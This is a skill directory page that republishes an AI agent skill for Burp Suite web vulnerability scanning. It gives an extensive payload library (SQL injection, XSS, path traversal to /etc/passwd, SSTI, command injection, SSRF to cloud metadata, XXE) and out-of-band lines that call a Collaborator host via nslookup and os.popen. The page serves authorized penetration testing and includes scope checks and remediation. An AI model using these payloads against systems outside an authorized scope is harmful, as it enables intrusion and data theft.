Agent skill

Burp Scan

by six2dez in six2dez/burp-ai-agent

Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs.

MITAuto-check: warningsSecurity

Install Burp Scan

The automated check flagged lines worth reading first. See the safety section below.

skills CLI
$ npx skills add six2dez/burp-ai-agent --skill burp-scan -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install six2dez/burp-ai-agent burp-scan --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/six2dez/burp-ai-agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/burp-scan .claude/skills/burp-scan && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
burp-scan
GitHub stars
1.5k
Token cost
~6.4k tokens
SKILL.md length
1,970 words
Files
1
Skills in repo
1
Repo updated
First seen
Licence
MIT

At a glance

Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs.

  • Works in 6 steps: MCP TOOL REFERENCE → PASSIVE ANALYSIS PROTOCOL → ACTIVE TESTING PAYLOAD LIBRARY → …
  • The user has Burp Suite running with the AI Agent MCP server and wants to scan
  • SKILL.md covers 1. MCP TOOL REFERENCE, 2. PASSIVE ANALYSIS PROTOCOL and 3. ACTIVE TESTING PAYLOAD…
  • Reaches evil-burp-ai.com and xyz.burpcollaborator.net; needs WEAK_SESSION_TOKEN

What it does

Burp Scan is an agent skill from six2dez/burp-ai-agent. Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs. Use when the user has Burp Suite running with the AI Agent MCP server and wants to scan, test, or analyze web traffic through an AI coding assistant (Claude Code, Gemini CLI, Codex, etc.).

Its SKILL.md is about 6.4k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Penetration testing and MCP servers. It works with Burp Suite, Model Context Protocol and Kotlin. The repository describes itself as: Burp Suite extension that adds built-in MCP tooling, AI-assisted analysis, privacy controls, passive and active scanning and more. The licence is MIT.

When your agent uses it

  • The user has Burp Suite running with the AI Agent MCP server and wants to scan
  • Analyze web traffic through an AI coding assistant (Claude Code

Example prompts

  • “/burp-scan”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. MCP TOOL REFERENCE
  2. PASSIVE ANALYSIS PROTOCOL
  3. ACTIVE TESTING PAYLOAD LIBRARY
  4. SCANNING WORKFLOW
  5. ISSUE CREATION PROTOCOL
  6. VULNERABILITY CLASSES REFERENCE

What it can do on your machine

Read from SKILL.md and the folder at commit f9dceef. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are xml and json).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • evil-burp-ai.com
    • xyz.burpcollaborator.net
    • legitimate.com.evil-burp-ai.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names these keys or tokens, usually read from environment variables:

    • WEAK_SESSION_TOKEN

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Burp Scan loads about 6.4k tokens when it runs. Until then it costs about 99 tokens; SKILL.md has 1,970 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~99
When it runs · the whole SKILL.md, loaded when a task matches
~6.4k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check: warnings

The automated check found patterns that need a careful read before installing.

  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:464
    rate -> get unique subdomain (e.g., xyz.burpcollaborator.net)
  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:466
    - SSRF: http://xyz.burpcollaborator.net
  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:467
    - XXE:  <!ENTITY xxe SYSTEM "http://xyz.burpcollaborator.net">
  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:468
    - CMDI: ; nslookup xyz.burpcollaborator.net
  • WarningMentions a paste, webhook or tunnelling service often used to send data outSKILL.md:469
    _.__globals__['os'].popen('nslookup xyz.burpcollaborator.net')}}

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from six2dez/burp-ai-agent at commit f9dceef, republished under its MIT licence (© six2dez). 1,970 words, ~6,366 tokens.

Download SKILL.mdSave it as .claude/skills/burp-scan/SKILL.md (or your agent's skills folder).
name
burp-scan
description
Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs. Use when the user has Burp Suite running with the AI Agent MCP server and wants to scan, test, or analyze web traffic through an AI coding assistant (Claude Code, Gemini CLI, Codex, etc.).

Burp Scan Skill

Tactical scanning engine for Burp Suite via MCP. Operates Burp's tools programmatically to discover, confirm, and report vulnerabilities.

Prerequisites: Burp Suite running with the AI Agent extension loaded and MCP server enabled.


1. MCP TOOL REFERENCE

Tools organized by scanning action. Tools marked [unsafe] require Unsafe Mode enabled. Tools marked [pro] require Burp Professional.

Discover Scope & Attack Surface
ToolPurpose
scope_checkCheck if a URL is in scope
site_mapBrowse Burp's site map
site_map_regexSearch site map by regex
proxy_http_historyList proxy HTTP history items
proxy_http_history_regexSearch proxy history by regex
proxy_ws_historyList WebSocket history
proxy_ws_history_regexSearch WebSocket history by regex
response_body_searchRegex search across all response bodies
Analyze Traffic
ToolPurpose
params_extractExtract parameters from a request
find_reflectedFind reflected parameter values in a response
insertion_pointsList insertion point offsets for a request
request_parseParse raw HTTP request into structured fields
response_parseParse raw HTTP response into structured fields
diff_requestsLine diff between two requests
Send Test Payloads
ToolPurpose
http1_request [unsafe]Send HTTP/1.1 request through Burp and get response
http2_request [unsafe]Send HTTP/2 request through Burp and get response
repeater_tab [unsafe]Create a Repeater tab with a request
repeater_tab_with_payload [unsafe]Create Repeater tab with placeholder replacement
intruder [unsafe]Send request to Intruder
intruder_prepare [unsafe]Create Intruder tab with explicit insertion points
Out-of-Band (OOB) Verification
ToolPurpose
collaborator_generateGenerate a Burp Collaborator payload (unique subdomain)
collaborator_pollPoll for Collaborator interactions (DNS/HTTP callbacks)
Encoding & Utility
ToolPurpose
url_encode / url_decodeURL encoding/decoding
base64_encode / base64_decodeBase64 encoding/decoding
hash_computeHash text (MD5/SHA1/SHA256/SHA512)
jwt_decodeDecode JWT header + payload (no signature verification)
decode_asDecompress content (gzip/deflate/brotli)
cookie_jar_getRead Burp's cookie jar
random_stringGenerate random strings
Report Findings
ToolPurpose
issue_createCreate a custom audit issue in Burp's issue list
scanner_issues [pro]View existing scanner issues
Control Burp Scanner
ToolPurpose
scan_audit_start [pro][unsafe]Start a Burp Scanner audit
scan_crawl_start [pro][unsafe]Start a Burp Scanner crawl
scan_task_status [pro]Get status of a scan task

2. PASSIVE ANALYSIS PROTOCOL

Analyze proxy traffic WITHOUT sending additional requests. This is the first phase of any scan.

Step 1: Pull Traffic
Use proxy_http_history or proxy_http_history_regex to retrieve in-scope traffic.
Filter: exclude static assets (.css, .js, .png, .jpg, .gif, .svg, .ico, .woff, .woff2, .ttf, .eot, .map).
Focus on: HTML, JSON, XML, text responses.
Step 2: Local Pattern Checks (No AI Needed)

Run these deterministic checks on every request/response pair BEFORE any deeper analysis:

Request Smuggling Indicators:

  • Both Content-Length and Transfer-Encoding: chunked present
  • Multiple Content-Length headers with different values
  • Severity: Medium, Confidence: 90

CSRF Absence:

  • State-changing method (POST/PUT/PATCH/DELETE) + cookie-based auth (session/auth/token cookies)
  • No CSRF token in parameters or headers, no Origin/Referer header
  • No SameSite=Strict/Lax on auth cookies
  • Severity: Low, Confidence: 85

Deserialization Surface:

  • Parameters or body containing Java serialized data markers: rO0AB or aced0005
  • Content-Type: java-serialized or octet-stream with serialized markers
  • Severity: Information, Confidence: 90

Unrestricted File Upload:

  • Multipart upload with dangerous extension (php, phtml, asp, aspx, jsp, jspx, cgi, py, rb, exe, dll)
  • Response 2xx AND response references the uploaded filename
  • Severity: Medium, Confidence: 90
Step 3: Extract Context for Deep Analysis

For each request/response pair, extract:

  1. URL, Method, Status, MIME type
  2. Request headers (focus on: Authorization, Cookie, X-API-Key, Content-Type, Origin, Referer, Host, X-Forwarded-For/Host)
  3. Response headers (focus on: Server, X-Powered-By, Set-Cookie, Access-Control-Allow-Origin, Content-Security-Policy, X-Frame-Options)
  4. Parameters (name, value, type: URL/BODY/COOKIE/JSON)
  5. Potential Object IDs in URL path or parameters (numeric IDs, UUIDs, MongoDB ObjectIds)
  6. Auth mechanisms (session cookies vs Bearer token vs API key)
  7. Tech stack hints (Server header, X-Powered-By, framework-specific headers)
Step 4: Analysis Checklist

For each request/response pair, check for:

Injection: XSS, SQLi, CMDI, SSTI, SSRF, XXE, NoSQL injection, GraphQL injection Auth/Access Control: IDOR/BOLA, BAC (horizontal/vertical), CSRF, JWT weaknesses Information Disclosure: Secrets in responses, debug endpoints, source code exposure Configuration: CORS misconfiguration, open redirect, missing security headers High-Value: Account takeover paths, cache poisoning, request smuggling, host header injection API: Version bypass, GraphQL introspection enabled

Step 5: Severity Definitions
SeverityExamples
CriticalRCE, authentication bypass, full account takeover
HighSQLi, stored XSS, SSRF with internal access, deserialization, command injection
MediumReflected XSS, IDOR/BOLA, CSRF on sensitive actions, open redirect, LFI
LowInformation disclosure, verbose errors, minor misconfigurations
DO NOT REPORT
  • Missing security headers (CSP, X-Frame-Options, HSTS, X-Content-Type-Options) as standalone findings
  • "Potential" issues without concrete evidence in the request/response
  • Generic parameter reflection without XSS context (value echoed in non-executable context)
  • Absence of rate limiting as a standalone vulnerability
Step 6: JS Endpoint Discovery

When you encounter JavaScript files in proxy history, extract API endpoints using these patterns:

fetch("url"), axios.METHOD("url"), $.ajax({url:"..."}), XMLHttpRequest.open("METHOD","url")
"/api/...", "/v1/...", "/v2/...", endpoint="/...", "/segment/segment/..."

Exclude: /css/, /js/, /img/, /static/, /assets/, /fonts/, /media/, /.well-known/ Exclude extensions: .js, .css, .map, .png, .jpg, .svg, .ico, .woff, .pdf, .zip

Test discovered endpoints for access control issues (unauthenticated access, missing authorization).


3. ACTIVE TESTING PAYLOAD LIBRARY

Use payloads via http1_request to confirm passive findings. Always test against in-scope targets only.

SQL Injection

Error-based (Detection: look for DB-specific error strings):

'
"
'--
';--
1'
\

Evidence patterns (95% confidence):

  • MySQL: You have an error in your SQL syntax
  • PostgreSQL: ERROR: syntax error at or near
  • MSSQL: Unclosed quotation mark after the character string
  • Oracle: ORA-\d{4}:
  • SQLite: SQLITE_ERROR or near "...": syntax error

Blind Boolean (Detection: compare response differences):

1' AND '1'='1    (should return same as original)
1' AND '1'='2    (should return different/empty)
1 AND 1=1        (numeric context - same)
1 AND 1=2        (numeric context - different)

Protocol: Send BOTH true and false conditions. If true matches original and false differs -> confirmed.

Time-based (Detection: measure response delay >= 5 seconds):

1' AND SLEEP(5)--          (MySQL)
1'; WAITFOR DELAY '0:0:5'--  (MSSQL)
1' AND pg_sleep(5)--       (PostgreSQL)

UNION-based [MODERATE risk]:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
XSS Reflected

Unique marker: XSS-BURP-AI-1337 (check for this exact string in response)

<script>alert('XSS-BURP-AI-1337')</script>
<img src=x onerror=alert('XSS-BURP-AI-1337')>
<svg onload=alert('XSS-BURP-AI-1337')>
'"><script>alert('XSS-BURP-AI-1337')</script>
<body onload=alert('XSS-BURP-AI-1337')>
javascript:alert('XSS-BURP-AI-1337')
<ScRiPt>alert('XSS-BURP-AI-1337')</sCrIpT>
</script><script>alert('XSS-BURP-AI-1337')</script>

Confidence: 95% if marker reflected with intact tags. 75% if alert(1) reflected (needs manual check).

LFI / Path Traversal
../../../etc/passwd                    (Linux - look for root:x:0:0)
....//....//....//etc/passwd           (filter bypass)
..%2f..%2f..%2fetc/passwd              (URL encoded)
..%252f..%252f..%252fetc/passwd        (double encoded)
/etc/passwd                            (absolute path)
file:///etc/passwd                     (file protocol)
..\..\..\\windows\\win.ini             (Windows - look for [fonts])
../../../etc/passwd%00                 (null byte)
....//....//....//etc/passwd%00.jpg    (extension bypass)

Evidence: root:x:0:0:root:/root: (95%) or [fonts] header (90%)

SSTI (Server-Side Template Injection)

Unique math markers to avoid false positives:

{{1337*73}}          -> look for 97601 in response
{{31337*3}}          -> look for 94011 in response
{{7*'7'}}            -> look for 7777777 (Jinja2 specific)
${1337*73}           -> look for 97601 (Java EL, Spring)
<%= 1337*73 %>       -> look for 97601 (ERB/Ruby)
#{1337*73}           -> look for 97601 (Thymeleaf)
*{1337*73}           -> look for 97601 (Thymeleaf)
{{config}}           -> config dump (Jinja2)
{{request}}          -> request object leak (Jinja2)
{{''.__class__}}     -> Python class access [MODERATE]

Evidence: Math result 97601, 94011, or 7777777 in response (95% confidence).

Command Injection
; id           -> look for uid=XXX(username) gid=XXX
| id           -> same
|| id          -> same
& id           -> same
&& id          -> same
`id`           -> same (backticks)
$(id)          -> same (command substitution)
| whoami       -> look for username output
; sleep 5      -> 5s delay (blind)
| sleep 5      -> 5s delay (blind)

Evidence: uid=\d+\(\w+\) gid=\d+\(\w+\) in response (95% confidence).

SSRF
http://127.0.0.1
http://localhost
http://[::1]
http://127.0.0.1:22                          (SSH banner)
http://127.0.0.1:3306                        (MySQL)
http://169.254.169.254/latest/meta-data/     (AWS metadata) [MODERATE]
http://metadata.google.internal/computeMetadata/v1/  (GCP metadata) [MODERATE]
file:///etc/passwd
dict://127.0.0.1:11211/stats                 (Memcached)
gopher://127.0.0.1:6379/_INFO                (Redis)
XXE
xml
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>
IDOR / BOLA (Context-Aware)

No static payloads. Generate based on original value:

Numeric IDs: Test ID-1, ID+1, 1 (first/admin), 0 (edge case), -1 (negative) UUIDs: Modify last character (0->1 or vice versa)

Protocol: Compare response for original ID vs manipulated ID. If you get valid data for a different user's ID -> IDOR confirmed.

Host Header Injection

Test marker: evil-burp-ai-test.com

Host: evil-burp-ai-test.com     -> check if reflected in response body or Location header
Host: localhost                  -> check if reflected
Host: 127.0.0.1                 -> check if reflected
OAuth Misconfiguration

Test markers: evil-burp-ai.com

redirect_uri=https://evil-burp-ai.com/callback          (arbitrary redirect)
redirect_uri=https://legitimate.com.evil-burp-ai.com     (subdomain bypass)
redirect_uri=https://legitimate.com@evil-burp-ai.com     (@ bypass)
redirect_uri=https://legitimate.com%40evil-burp-ai.com   (encoded @ bypass)
Open Redirect
//evil.com
https://evil.com
/\evil.com
////evil.com
https:evil.com

Evidence: evil.com in Location response header.

Cache Poisoning

Test marker: evil-burp-ai-cache.com

X-Forwarded-Host: evil-burp-ai-cache.com    -> check if reflected in cached response body
CORS Misconfiguration

Test via Origin header:

Origin: https://evil.com     -> check ACAO header reflects evil.com (95%)
Origin: null                 -> check ACAO: null (90%)
Git/Backup Exposure

Append to base URL:

/.git/HEAD       -> look for "ref: refs/heads/"
/.git/config     -> look for "[core]"
/.git/index      -> look for "DIRC" magic bytes
/.svn/entries    -> look for "dir"
Debug Endpoints

Append to base URL:

/actuator        /actuator/env     /actuator/health
/_profiler       /telescope        /__debug__
/phpinfo.php     /elmah.axd        /debug    /trace
Price Manipulation
-1              (negative value)
0               (zero)
0.001           (near-zero)
999999999       (overflow)
-999999999      (large negative)
Adaptive Payload Generation

When you know the target's tech stack (from Server/X-Powered-By headers or error patterns), generate technology-specific payloads. For example:

  • Django + PostgreSQL -> PostgreSQL-specific SQLi syntax
  • PHP + Apache -> PHP-specific LFI paths (php://filter/...)
  • Node.js + Express -> NoSQL injection with MongoDB operators
  • Java + Spring -> Spring EL injection (${...})

Safety rule: NEVER generate destructive payloads containing: DROP, DELETE, TRUNCATE, ALTER, GRANT, REVOKE, SHUTDOWN, rm -, FORMAT, DESTROY.


4. SCANNING WORKFLOW

Phase 1: Scope & Reconnaissance
1. scope_check on target URL
2. site_map to understand application structure
3. proxy_http_history to review captured traffic
4. Identify tech stack from response headers (Server, X-Powered-By)
5. Identify auth mechanism (cookies vs tokens vs API keys)
Phase 2: Passive Analysis
1. For each in-scope request/response:
   a. Run local pattern checks (Section 2, Step 2)
   b. Extract context (Section 2, Step 3)
   c. Analyze against checklist (Section 2, Step 4)
   d. Flag potential vulns with evidence

2. JS endpoint discovery:
   a. Find JS files via proxy_http_history_regex with pattern "\.js$"
   b. Extract API endpoints from JS content
   c. Test discovered endpoints for auth issues
Phase 3: Active Confirmation

For each passive finding, confirm with active testing:

1. Select payloads from Section 3 based on vuln class
2. Send original request via http1_request (baseline)
3. Send modified request with payload via http1_request
4. Analyze response:

   ERROR_BASED:    Search for error pattern strings in response body
   REFLECTION:     Search for unique marker (XSS-BURP-AI-1337, etc.) in response
   CONTENT_BASED:  Search for expected file content (root:x:0:0, [fonts], 97601)
   BLIND_BOOLEAN:  Send true+false conditions, compare response body/length
   BLIND_TIME:     Measure response time, confirm >= 5000ms delay
   OUT_OF_BAND:    Use collaborator_generate, inject payload, then collaborator_poll

5. Confidence thresholds:
   - >= 95%: CERTAIN  (report immediately)
   - >= 85%: FIRM     (report with evidence)
   - >= 70%: TENTATIVE (investigate further before reporting)
   - < 70%:  DO NOT REPORT
Phase 4: OOB Testing (for blind vulnerabilities)
1. collaborator_generate -> get unique subdomain (e.g., xyz.burpcollaborator.net)
2. Inject Collaborator payload in test:
   - SSRF: http://xyz.burpcollaborator.net
   - XXE:  <!ENTITY xxe SYSTEM "http://xyz.burpcollaborator.net">
   - CMDI: ; nslookup xyz.burpcollaborator.net
   - SSTI: {{config.__class__.__init__.__globals__['os'].popen('nslookup xyz.burpcollaborator.net')}}
3. Wait 5-10 seconds
4. collaborator_poll -> check for DNS/HTTP interactions
5. If interactions found -> vulnerability confirmed
Phase 5: Knowledge Tracking

Track per-host information across the scan to improve payload selection:

Tech Stack:     Server header, X-Powered-By, X-ASPNet-Version, X-Generator
Auth Info:      Session cookies (session, auth, token, sid, jwt, remember)
                Bearer tokens (Authorization header)
                API keys (X-API-Key, X-Auth-Token)
Error Patterns: Database errors, stack traces, framework exceptions
Prior Findings: What vuln classes were already found on which endpoints

Use tech stack knowledge to prioritize:

  • Django detected -> test SSTI with {{...}}, SQLi with PostgreSQL syntax
  • PHP detected -> test LFI with php://filter, deserialize with O: prefix
  • Java detected -> test SSTI with ${...}, deserialize with rO0AB
  • .NET detected -> test path traversal with backslashes, VIEWSTATE tampering

5. ISSUE CREATION PROTOCOL

When a vulnerability is confirmed (confidence >= 85%), create a Burp audit issue:

issue_create Parameters
json
{
  "name": "[Vuln Type] - [Specific Detail]",
  "detail": "Full description with evidence...",
  "baseUrl": "https://target.com/path",
  "severity": "HIGH|MEDIUM|LOW|INFORMATION",
  "confidence": "CERTAIN|FIRM|TENTATIVE",
  "remediation": "Mitigation advice...",
  "httpRequest": "GET /path HTTP/1.1\r\nHost: target.com\r\n...",
  "httpResponseContent": "HTTP/1.1 200 OK\r\n...",
  "targetHostname": "target.com",
  "targetPort": 443,
  "usesHttps": true
}
Show full SKILL.md (800 more words)Show less
Severity Mapping
SeverityVulnerability Classes
HIGHSQLi, CMDI, SSTI, XXE, RFI, Deserialization, Request Smuggling, Account Takeover, MFA Bypass, OAuth Misconfiguration, Git Exposure, Subdomain Takeover, Host Header Injection, Cache Poisoning, LDAP Injection, NoSQL Injection, XPath Injection
MEDIUMXSS (Reflected/Stored/DOM), LFI, SSRF, IDOR/BOLA, Path Traversal, BAC (Horizontal/Vertical), BFLA, Mass Assignment, Auth Bypass, Session Fixation, GraphQL Injection, Stack Trace Exposure, Sourcemap Disclosure, Backup Disclosure, Debug Exposure, S3 Misconfiguration, Cache Deception, Price Manipulation, Race Condition TOCTOU, File Upload, Access Control Bypass, Email Header Injection, API Version Bypass
LOWOpen Redirect, Header/CRLF Injection, JWT Weakness, Race Condition, Business Logic, CORS Misconfiguration, Directory Listing, Debug Endpoint, Version Disclosure, Missing Security Headers, Verbose Error, Insecure Cookie, Sensitive Data in URL, Weak Crypto, Log Injection, CSRF, Rate Limit Bypass, Weak Session Token
Confidence Mapping
ConfidenceCriteria
CERTAIN>= 95% confidence, clear evidence (error string, file content, math result)
FIRM>= 85% confidence, strong evidence (response difference, reflection with context)
TENTATIVE>= 70% confidence, circumstantial evidence (needs manual verification)
Remediation Reference
Vuln ClassRemediation
SQLiUse parameterized queries or prepared statements. Never concatenate user input into SQL queries.
XSSEncode all user input before rendering in HTML. Use Content-Security-Policy headers.
LFI/Path TraversalValidate and sanitize file paths. Use allowlists for permitted files.
SSTIUse logic-less templates or sandbox template execution. Never pass user input directly to template engines.
CMDIAvoid system commands with user input. Use strict allowlists and proper escaping.
SSRFValidate and allowlist destination URLs. Block requests to internal networks and cloud metadata endpoints.
IDOR/BOLAImplement proper authorization checks. Don't rely on obscurity of IDs.
XXEDisable external entity processing in XML parsers. Use JSON instead of XML where possible.
CORSUse explicit allowlist for origins. Never reflect arbitrary origins. Avoid wildcard with credentials.
Open RedirectValidate redirect URLs against an allowlist. Use relative URLs where possible.
JWTUse strong algorithms (RS256). Validate all JWT claims. Don't accept 'none' algorithm.
CSRFImplement anti-CSRF tokens. Use SameSite cookies and verify Origin/Referer on state-changing requests.
Host Header InjectionValidate Host header against allowlist. Don't use Host header in password reset URLs or cache keys.
Cache PoisoningDon't use unkeyed headers in cached responses. Validate all header inputs.
OAuthStrictly validate redirect_uri against exact match allowlist. Use state parameter with unpredictable values.
File UploadRestrict file types, validate content, store outside web root, enforce random names.
Request SmugglingNormalize or reject conflicting Content-Length/Transfer-Encoding headers. Use a single HTTP parser.
DeserializationAvoid deserializing untrusted data. Use allowlists for permitted classes.

6. VULNERABILITY CLASSES REFERENCE

62 Classes by OWASP Category

A01 - Broken Access Control: IDOR, BOLA, BFLA, BAC_HORIZONTAL, BAC_VERTICAL, MASS_ASSIGNMENT, SSRF, CORS_MISCONFIGURATION, DIRECTORY_LISTING

A02 - Security Misconfiguration: DEBUG_ENDPOINT, STACK_TRACE_EXPOSURE, VERSION_DISCLOSURE, MISSING_SECURITY_HEADERS, VERBOSE_ERROR

A04 - Cryptographic Failures: INSECURE_COOKIE, SENSITIVE_DATA_URL, WEAK_CRYPTO

A05 - Injection: SQLI, XSS_REFLECTED, XSS_STORED, XSS_DOM, CMDI, SSTI, XXE, LDAP_INJECTION, XPATH_INJECTION, NOSQL_INJECTION, GRAPHQL_INJECTION, LOG_INJECTION, LFI, RFI, PATH_TRAVERSAL, HOST_HEADER_INJECTION, EMAIL_HEADER_INJECTION

A06 - Insecure Design: BUSINESS_LOGIC, RATE_LIMIT_BYPASS, PRICE_MANIPULATION, RACE_CONDITION_TOCTOU

A07 - Authentication Failures: JWT_WEAKNESS, AUTH_BYPASS, SESSION_FIXATION, WEAK_SESSION_TOKEN, ACCOUNT_TAKEOVER, OAUTH_MISCONFIGURATION, MFA_BYPASS

A08 - Integrity Failures: DESERIALIZATION, REQUEST_SMUGGLING, CSRF, UNRESTRICTED_FILE_UPLOAD

Cache Attacks: CACHE_POISONING, CACHE_DECEPTION

Information Disclosure: SOURCEMAP_DISCLOSURE, GIT_EXPOSURE, BACKUP_DISCLOSURE, DEBUG_EXPOSURE

Cloud/Infrastructure: S3_MISCONFIGURATION, SUBDOMAIN_TAKEOVER

API Security: API_VERSION_BYPASS

Access Control: ACCESS_CONTROL_BYPASS

Other: OPEN_REDIRECT, HEADER_INJECTION, CRLF_INJECTION, RACE_CONDITION

Scan Modes
ModeClasses Included
BUG_BOUNTYHigh-impact only: SQLi, XSS, SSRF, CMDI, SSTI, XXE, IDOR, BOLA, BAC, BFLA, Auth Bypass, OAuth, MFA Bypass, ATO, Host Header Injection, Cache Poisoning/Deception, Open Redirect, Price Manipulation, Race Condition TOCTOU, Access Control Bypass
PENTESTAll active-testable classes (excludes passive-only)
FULLAll 62 vulnerability classes
Passive-Only Classes (No Active Payloads)

These are detected through traffic analysis only, not payload injection: CORS_MISCONFIGURATION, MISSING_SECURITY_HEADERS, VERSION_DISCLOSURE, INSECURE_COOKIE, REQUEST_SMUGGLING, CSRF, UNRESTRICTED_FILE_UPLOAD, DESERIALIZATION, SUBDOMAIN_TAKEOVER, S3_MISCONFIGURATION, SOURCEMAP_DISCLOSURE, GIT_EXPOSURE, BACKUP_DISCLOSURE, DEBUG_EXPOSURE

Impact Context Multipliers

Findings have higher impact when they affect:

  • Auth endpoints (/login, /signin, /auth, /password, /reset, /oauth, /sso, /2fa): +30%
  • Payment flows (/checkout, /payment, /cart, /order, /purchase, /billing): +40%
  • Admin panels (/admin, /dashboard, /manage, /control, /settings, /internal): +30%
  • PII data (email, phone, address, SSN, credit card in response): +20%
  • API endpoints (/api/, /v1/, /v2/, /graphql, JSON response): +10%

FALSE POSITIVE INDICATORS

Do NOT report if these are present:

SQL Injection false positives:

  • Error is in a comment or documentation text
  • Error string matches but is inside a <code> or <pre> block
  • Error is from a WAF/security product, not the actual database

XSS false positives:

  • Payload reflected inside a JavaScript string but properly escaped
  • Payload reflected in HTML attribute but URL-encoded
  • Payload in Content-Type that is not text/html (e.g., application/json)
  • Response has Content-Type: application/json with no HTML rendering context

LFI false positives:

  • Response contains "root" but not the full passwd format
  • Response is a custom error page mentioning the word "passwd"

SSTI false positives:

  • The number 97601 appears in legitimate content (e.g., product IDs, timestamps)
  • Template syntax is reflected but not evaluated (literal {{1337*73}} in response)

DESTRUCTIVE PAYLOAD SAFETY

NEVER use or generate payloads containing these patterns:

DROP, DELETE, TRUNCATE, ALTER, GRANT, REVOKE, SHUTDOWN
EXEC xp_, rm -, FORMAT, DESTROY

All scanning MUST target in-scope assets only. Always verify scope with scope_check before active testing.

© six2dez, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/burp-scan of six2dez/burp-ai-agent.

Open the folder on GitHubat commit f9dceef

Compare with similar skills

Burp Scan next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Burp Scan compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Burp Scan this skillsix2dez/burp-ai-agent1.5k—~6.4kAutomated safety check: WarnMIT
Burp MCP Vuln Checklangbyyi/CyberStrikeAI-SRC135—~3.1kAutomated safety check: PassApache-2.0
Hunt BurpEncod3d-Sec/TORCH329—~3.1kAutomated safety check: PassMIT
MCP Server Toolssamugit83/redamon3k—~1.8kAutomated safety check: PassMIT
Agentic Tool Integrationsamugit83/redamon3k—~1.3kAutomated safety check: PassMIT
Priority Board Triagesamugit83/redamon3k—~1.7kAutomated safety check: PassMIT

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Questions about Burp Scan

What does Burp Scan do?

Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs. Burp Scan is an agent skill from six2dez/burp-ai-agent. Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs.

When should I use Burp Scan?

Burp Scan fits situations like: the user has Burp Suite running with the AI Agent MCP server and wants to scan; analyze web traffic through an AI coding assistant (Claude Code.

How do I install Burp Scan in Claude Code?

Run `npx skills add six2dez/burp-ai-agent --skill burp-scan -a claude-code`. Or copy the skill folder (skills/burp-scan in six2dez/burp-ai-agent) into .claude/skills/burp-scan in your project. Claude Code loads it when a task matches its description.

How do I install Burp Scan in Codex?

Run `npx skills add six2dez/burp-ai-agent --skill burp-scan -a codex`. Or copy the skill folder (skills/burp-scan in six2dez/burp-ai-agent) into .agents/skills/burp-scan in your project. Codex loads it when a task matches its description.

Can I use Burp Scan in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add six2dez/burp-ai-agent --skill burp-scan -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/burp-scan, .gemini/skills/burp-scan, .github/skills/burp-scan and .opencode/skills/burp-scan in your project.

What does Burp Scan need to run?

Going by SKILL.md and its folder, Burp Scan needs credentials named WEAK_SESSION_TOKEN. Our summary lists: Python 3.

Does Burp Scan access the network?

SKILL.md names 3 domains. In commands or code: evil-burp-ai.com, xyz.burpcollaborator.net and legitimate.com.evil-burp-ai.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Burp Scan safe to install?

Our automated static check of SKILL.md flagged 5 warning(s): mentions a paste, webhook or tunnelling service often used to send data out. Read the flagged lines before installing; the check is not a guarantee either way.

What licence does Burp Scan use?

Burp Scan is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Burp Scan use?

